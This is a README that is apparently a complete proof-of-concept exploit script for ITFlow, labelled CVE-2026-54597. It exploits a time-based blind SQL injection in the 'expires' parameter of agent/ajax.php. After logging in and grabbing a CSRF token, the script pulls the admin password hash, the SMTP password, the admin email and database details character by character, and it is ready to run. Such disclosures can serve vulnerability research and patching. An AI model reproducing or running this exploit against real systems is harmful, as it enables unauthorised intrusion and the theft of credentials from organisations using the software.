README.md
Rendering markdown...
import sys
import time
import argparse
import requests
parser = argparse.ArgumentParser(
prog="exploit.py",
description="ITFlow — CVE-2026-54597 - Time-Based Blind SQL Injection PoC (agent/ajax.php expires) - by iltosec",
formatter_class=argparse.RawTextHelpFormatter,
epilog=(
"Examples:\n"
" python exploit.py http://itflow.com [email protected] 'P@ss!' 1\n"
" python exploit.py http://itflow.com [email protected] 'P@ss!' 1 --all\n"
" python exploit.py http://itflow.com [email protected] 'P@ss!' 1 --adminhash --smtppass\n"
" python exploit.py http://itflow.com [email protected] 'P@ss!' 1 --dbuser --dbversion"
),
)
parser.add_argument("url", help="Target base URL (e.g. http://itflow.com)")
parser.add_argument("email", help="Login email")
parser.add_argument("password", help="Login password")
parser.add_argument("cred_id", help="A valid credential ID on the target")
parser.add_argument("--adminhash", action="store_true", help="Extract admin password hash")
parser.add_argument("--smtppass", action="store_true", help="Extract SMTP password")
parser.add_argument("--dbuser", action="store_true", help="Extract MySQL current user")
parser.add_argument("--dbversion", action="store_true", help="Extract MySQL version")
parser.add_argument("--adminemail", action="store_true", help="Extract admin email address")
parser.add_argument("--all", action="store_true", help="Extract everything (overrides other flags)")
args = parser.parse_args()
if not (args.adminhash or args.smtppass or args.dbuser or
args.dbversion or args.adminemail or args.all):
args.adminhash = True
args.smtppass = True
BASE_URL = args.url.rstrip("/")
EMAIL = args.email
PASSWORD = args.password
CRED_ID = args.cred_id
DELAY = 2
THRESHOLD = 1.5
session = requests.Session()
csrf = None
client_id = "1"
def login(email, password):
r = session.post(
f"{BASE_URL}/login.php",
data={"email": email, "password": password, "login": ""},
allow_redirects=True,
)
return r.status_code == 200 and "logout" in r.text.lower()
def refresh_csrf():
global csrf
r = session.get(f"{BASE_URL}/agent/clients.php")
for line in r.text.splitlines():
if 'name="csrf_token"' in line and "value=" in line:
csrf = line.split('value="')[1].split('"')[0]
return True
return False
def reauth():
global csrf
print("\n[!] Session expired or invalid — re-authenticating")
email_new = input(" Email: ")
pass_new = input(" Password: ")
if not login(email_new, pass_new) or not refresh_csrf():
print("[-] Re-auth failed. Exiting.")
sys.exit(1)
print("[+] Re-authenticated")
def ask(condition):
payload = f"IF(({condition}),SLEEP({DELAY}),0) HOUR"
params = {
"share_generate_link": "",
"item_type": "Credential",
"item_id": CRED_ID,
"client_id": client_id,
"expires": payload,
"email": "[email protected]",
"view_limit": "0",
"csrf_token": csrf,
}
try:
t0 = time.time()
r = session.get(f"{BASE_URL}/agent/ajax.php", params=params, timeout=30)
elapsed = time.time() - t0
if r.status_code in (401, 403) or "login.php" in r.url:
reauth()
return ask(condition)
return elapsed >= THRESHOLD
except requests.RequestException as e:
print(f"\n[!] Request failed: {e}")
retry = input(" Retry? [Y/n]: ").strip().lower()
if retry != "n":
return ask(condition)
sys.exit(1)
def get_length(sql, max_len=80):
length = 0
for i in range(1, max_len + 1):
if ask(f"LENGTH(({sql}))>={i}"):
length = i
else:
break
return length
def extract(label, sql, max_len=80):
print(f"\n[*] {label}")
length = get_length(sql, max_len)
if length == 0:
print(" Result is empty or unreachable")
return "(empty)"
result = ""
for pos in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi + 1) // 2
if ask(f"ORD(SUBSTR(({sql}),{pos},1))>={mid}"):
lo = mid
else:
hi = mid - 1
result += chr(lo)
print(f"\r [{pos}/{length}] {result:{max_len}}", end="", flush=True)
print()
return result
def get_client_id_from_page():
r = session.get(f"{BASE_URL}/agent/clients.php")
for line in r.text.splitlines():
if "client_id=" in line and "href" in line:
try:
return line.split("client_id=")[1].split("&")[0].split('"')[0].strip()
except Exception:
pass
return "1"
print("=" * 54)
print(" ITFlow — Time-Based Blind SQL Injection PoC - by iltosec")
print(" Endpoint : agent/ajax.php (expires parameter)")
print("=" * 54)
print()
print(f"[*] Logging in as {EMAIL} ...")
if not login(EMAIL, PASSWORD):
print("[!] Login failed")
EMAIL = input(" Email: ")
PASSWORD = input(" Password: ")
if not login(EMAIL, PASSWORD):
print("[-] Login failed. Exiting.")
sys.exit(1)
print("[+] Logged in")
if not refresh_csrf():
print("[-] Could not retrieve CSRF token. Exiting.")
sys.exit(1)
print(f"[+] CSRF token : {csrf[:12]}...")
client_id = get_client_id_from_page()
print(f"[+] client_id : {client_id}")
print()
print("[*] Verifying injection — IF((SELECT COUNT(*) FROM users)>0, SLEEP(2), 0) HOUR ...")
if ask("(SELECT COUNT(*) FROM users)>0"):
print("[+] CONFIRMED — SLEEP triggered, injection is live\n")
else:
print("[-] No delay detected — injection not working or request is blocked.")
sys.exit(1)
results = {}
if args.all or args.adminhash:
results["Admin Hash"] = extract(
"Admin password hash (bcrypt)",
"SELECT user_password FROM users WHERE user_id=1",
60,
)
if args.all or args.smtppass:
results["SMTP Password"] = extract(
"SMTP password (settings table)",
"SELECT config_smtp_password FROM settings WHERE company_id=1 LIMIT 1",
60,
)
if args.all or args.dbuser:
results["DB User"] = extract("MySQL current user", "SELECT user()", 30)
if args.all or args.dbversion:
results["DB Version"] = extract("MySQL version", "SELECT VERSION()", 30)
if args.all or args.adminemail:
results["Admin Email"] = extract(
"Admin email address",
"SELECT user_email FROM users WHERE user_id=1",
60,
)
print()
print("=" * 54)
print(" Results")
print("=" * 54)
for k, v in results.items():
print(f" {k:<16} : {v}")
print("=" * 54)
if "Admin Hash" in results and results["Admin Hash"] not in ("", "(empty)"):
print()
print()